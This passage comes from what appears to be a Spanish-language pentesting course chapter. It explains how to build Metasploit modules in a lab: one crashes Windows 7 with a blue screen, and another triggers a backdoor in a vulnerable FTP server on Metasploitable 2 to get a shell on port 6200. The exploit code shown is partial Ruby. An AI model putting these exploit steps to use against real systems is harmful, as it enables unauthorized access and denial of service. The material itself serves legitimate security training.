Y, por ltimo, de la lnea 118 a la 149 nos encontramos con un ltimo condicional relevante a la
respuesta del Host remoto, as como tambin el bloque de cdigo desde connect hasta
print_good, que es en donde se lleva a cabo el proceso de establecer la conexin una vez enviado
el ShellCode, mostrando mediante diferentes comentarios que hace cada lnea o bloque. Al ltimo
vemos en report_vuln las variables con las que trabaja el Mdulo, que como ya aprendiste en el
nivel COISP 1, en Metasploit se trata de info, RHOST, RPORT, NAME, etc.
Ahora qu ya tienes todo listo, es momento de que inicies el Framework de Metasploit, y como
ya sabes tambin, primero hay que inicializar el servicio de la base de datos de la que
depende principalmente Metasploit, PostgreSQL. En estas nuevas versiones de Parrot la forma
de iniciar el servicio ha cambiado, ahora se usa systemctl, que tambin tiene una sintaxis muy
simple, ejecutaremos los 2 siguientes comandos para iniciar de forma correcta el Framework:
Solo basta con agregar al parmetro de configuracin RHOST la direccin IP y ejecutar el mdulo
con el comando run, poniendo a trabajar el cdigo en Ruby y ocasionando lo siguiente en
Windows, mostrando el BSOF antes mencionado, recolectando informacin acerca de lo
sucedido:
Es comn que los usuarios busquen la manera de transferir archivos entre diferentes equipos
dentro de una red local, para ello suelen emplear un servidor FTP, el cual les permite o facilita
lo antes descrito. Por el significado de su acrnimo (File Transfer Protocol), es un protocolo
utilizado para la transferencia de archivos entre computadoras e internet, y por obvias razones
estos pueden contener informacin, ya sea importante o no.
Habr ocasiones en las que nos encontremos con servidores FTP qu an conservan las
configuraciones por default al momento de la instalacin de los mismos, o no han sido configurados
de la forma correcta, dejndolos a la deriva, esperando a que alguien encuentre la forma de poder
perjudicarlos, ya sea con la detencin del servicio que ofrecen estos, o algo ms comprometedor
como la ejecucin de un payload sobre este, en donde lejos de causar un desbordamiento de pila,
podrs conseguir una Shell interactiva sobre el sistema remoto.
Despus de habernos ensuciado las manos un poco con el cdigo anterior en Ruby para conseguir
un DoS, es momento de hacer algo ms perjudicial. La aproximacin que haremos constar en
aprovecharse de una vulnerabilidad con la que cuenta el servidor FTP que existe en nuestra red,
el cual ser Metasploitable 2, la cual consta de la existencia de malware en l, ahora nuestro
trabajo es invocar a este mediante la inyeccin de un payload, el cual establecer la conexin con
el mismo y as ser como conseguiremos la Shell antes descrita sobre el sistema.
Qu es Metasploitable?
Es un recurso informtico (una mquina virtual en este caso) que fue creada por el mismo equipo
de desarrollo de Metasploit, esta VM hecha en Linux cuenta con diferentes vulnerabilidades
escondidas o distribuidas en el sistema, esperando a ser descubiertas y atacadas. Por ello,
Metasploitable 2 (versin que usaremos) una mquina virtual que es utilizada para llevar a
cabo pruebas, capacitaciones en seguridad, probar herramientas o tcnicas para
pentesting.
Esta VM est disponible para ambos ambientes de virtualizacin (VMware y Virtual Box), la razn
por la que no se utiliz la versin 3 de Metasploitable es debido a que oficialmente no est
disponible para VMware, por lo que usaremos la VM con versin anterior, la cual viene incluida en
el material proporcionado referente a este captulo, aunque tambin puedes descargarlo desde el
siguiente enlace:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Qu necesitars para este ejercicio?
Parrot Security OS, cualquier versin, en este caso usaras la 3.4 proporcionada.
Metasploitable 2
Ambas VM debern tener configurado el adaptador de red en modo NAT.
Estando listas ambas VMs, las encenderemos y posteriormente nos loggearemos en cada una,
en Parrot el usuario y password son root y toor, las de Metasploitable 2 ya sabes cuales son.
Durante el escaneo, algo que quizs notes es que se lleva a cabo una accin llamada
Screenshot, lo que hace esta es tomara una captura de pantalla (si es posible) del host remoto,
esto con la finalidad de facilitarnos la tarea de identificar a un Host en especfico, esta accin
se puede mostrar en la barra de progreso, indicando el puerto sobre el que opera, el host sobre
el que est trabajando, fecha, hora y estatus. En este ejemplo nos indica que sobre el host
192.168.42.139 se est llevando a cabo esta accin, para verificar esta captura realizada
pasaremos a la pestaa Tools para revisar lo anterior, en donde veremos lo siguiente:
Imagen 36.8 y 36.9: Identificacin de Host Metasploitable 2 y accin de Screenshot.
Imagen 37.0 y 37.1: Uso de Nmap en Sparta y Fingerprinting del Host Metasploitable 2.
Antes de continuar es importante saber de qu es lo que exactamente estamos por aprovecharnos
o por explotar.
El servidor FTP antes descrito, dispone de actualizaciones descargadas que cuentan con una
vulnerabilidad bastante crtica, esta consiste en que dentro de los repos de dichas actualizaciones
se halla un malware que es activado (Triggered) o puesto en funcin mediante el apoyo de
un payload, el cual vendr dentro de nuestro exploit, ya que cmo se sabe, los exploits para ser
considerados tal cuales requieren de un bloque de informacin referente a un payload, con lo
anterior entendido, al momento de que el malware y el payload se encuentren, obtendremos una
Shell que estar en funcin en el puerto 6200 del sistema Linux.
Para esto, usaremos el siguiente cdigo, que tambin est hecho en Ruby del cual estars
familiarizado con algunas cosas:
require 'msf/core'
include Msf::Exploit::Remote::Tcp
connect
sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
resp = sock.get_once(-1, 30).to_s
print_status("USER: #{resp.strip}")
if resp =~ /^530 /
print_error("Las medidas de seguridad han cambiado, conexion no establecida")
disconnect
return
end
if resp !~ /^331 /
print_error("Este servidor no funciona como lo esperabas: #{resp.strip}")
disconnect
return
end
sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")
disconnect
end
def handle_backdoor(s)
s.put("id\n")
r = s.get_once(-1, 5).to_s
if r !~ /uid=/
print_error("Shell no conseguida :(")
disconnect(s)
return
end
print_good("IDUsuario: #{r.strip}")
El cdigo anterior ser el encargado de conseguir nuestra Shell sobre el host remoto, que es el
servidor FTP vulnerable. Algo que de seguro notaste, es que este nuevo cdigo consta de casi 50
lneas menos, como ya sabes, esta vulnerabilidad consta en invocar al malware desde la ejecucin
del payload antes mencionado, por lo que resulta una parte ms corta al momento de codear el
exploit, aunque se trate de dos plataformas diferentes (Windows/Linux), tambin resulta ms
perjudicial que el exploit o cdigo del ejercicio anterior.
Como se ejemplific en el ejercicio anterior, debers de seguir los mismos pasos para compilar tu
mdulo de Metasploit, desde abrir el editor de texto Pluma, hasta la colocacin del script en Ruby
en el directorio correspondiente.
Donde:
De la lnea 4 a la 9 podremos notar como estamos especificando que este cdigo trabajar
con la librera core del Framework de Metasploit, tambin indicamos en la clase
MetasploitModule, indicando el tipo de funcionalidad (Remote) y la calificacin.
En la lnea 11, con def estamos declarando el mtodo referente a la informacin del
payload, como lo son detalles acerca de su funcionamiento, en las dems lneas tambin
podemos ver especificaciones del exploit como lo es el Autor, la plataforma en la que
funciona, la arquitectura por la que trabajar, payload etc.
De la lnea 44 a 67, nos encontramos con otro mtodo declarado referente directamente al
exploit, ahora con condicionales. En donde iniciamos con sockets la conexin que se
establecer para la Shell en el puerto 6200 del Host Linux, mostrando un Status acerca
de la situacin del mismo al momento del encuentro con el malware. Si despus de lo
anterior se establece la conexin, mostraremos un Banner en donde puede haber 3
mensajes, 2 acerca de errores y conexiones no establecidas y uno sobre lo contrario a lo
anterior:
Por ltimo, entre las lneas 88 y 105 nos encontraremos un mtodo final que est
declarado, en este caso se trata del bloque de cdigo que har el trabajo con el backdoor
o malware que reside en el Host remoto, en donde veremos un condicional y diferentes
print statements correspondientes a cada uno de los resultados u outputs que se
obtengan, siendo estos el establecimiento o fallo de la conexin entre atacante y Host.
Ahora que has finalizado con el cdigo, lo guardars con el nombre de tu preferencia (en este caso
fue ftp_exploit_hm.rb es importante colocar la extensin de Ruby al final, seguido de esto
colocars el script en el siguiente directorio que es donde residen los exploits en Parrot OS como
lo es en la mayora de las distros para pentesting, y, por ende, donde este corresponde.
/user/share/metasploit-framework/modules/exploits/unix/ (como quieras llamar a este folder)
Una vez finalizado el proceso de formulacin de tu exploit, es momento de ponerlo a trabajar y probarlo,
para ello habr que utilizar el framework de Metasploit. Como ya sabes, habr que inicializar el servicio
de BD con el que opera el Framework, que es PostgreSQL e iniciar Metasploit.
Imagen 37.8: Inicio de servicio de Base de datos y del Framework.
Una vez inicializado el Framework, entrars a tu mdulo, que es el exploit que recin creaste. Para
ello solo basta con hacer uso del comando use y con el buscar a tu exploit entre el repositorio
del contenido en Metasploit, basta con saber la categora y nombre:
Una vez estando dentro de nuestro mdulo, ejecutaremos el comando show options para
enlistar o mostrar los parmetros de configuracin con los que este opera o funciona, en donde
veremos que solamente requerimos de 2: Un Host remoto y un puerto remoto.
En lo que se refiere al Host se trata de la direccin IP de este, en este caso estamos hablando de
la mquina virtual Metasploitable 2 la cual est en funcin como un servidor FTP vulnerable, en
cuanto el puerto, se trata del puerto 21, que es donde corre el servicio FTP. Para esto usaremos
los comandos la misma sintaxis que en ejercicio anterior, siendo estos set RHOST y set RPORT
en donde colocaremos la direccin IP y el puerto y al final lo ponemos en accin con run:
Imagen 38.1 y 38.2: Obtencin de Shell sobre servidor FTP y navegacin por directorios.
A lo largo de este captulo cubrimos varios temas referentes al desarrollo de exploits, desde la creacin de un simple programa que
cuenta con una pila desbordable y como vulnerarlo con scripts hechos en Perl, ya sea mediante comunicacin por telnet o
remotamente desde Parrot, tambin pisamos terreno ms a fondo al momento de trabajar con una aplicacin ms completa al involucrar
el uso de un Debugger para hacer Fuzzing de la aplicacin y as identificar el Buffer Overflow con el que cuenta esta, as como
tambin el uso de Mona.py en un Debugger para facilitarnos la elaboracin de un script mayormente perjudicial que ocasione un
desbordamiento de esta aplicacin.
Tambin cubrimos lo suficiente en cuanto a lenguaje ensamblador para familiarizarte con la escritura y el contexto del proceso de
formulacin de exploits, como lo son los registros EIP y ESP en cuanto se trate de Overflows. Y por ltimo en la segunda mitad nos
familiarizamos en la creacin de mdulos de Metasploit, como es que deben estar constituidos estos para que funcionen o el
framework los tome en cuenta, hasta la elaboracin de un Auxiliary que causa un desbordamiento a nivel kernel de un sistema
Windows 7 y la elaboracin de un exploit que se aprovecha de una vulnerabilidad en servidores FTP, comprometiendo as el host
remoto. Ahora que ya te ensuciaste un poco las manos con esto, compilando cdigo en diferentes lenguajes y utilizando debuggers para
hacer algo de Reversing, es momento de que pases a algo un tanto ms complejo como lo es el Modding, en donde se adentraras en
las entraas del malware para as realizar cambios que resulten favorables para ti y obvio. lo contrario para quien va destinado.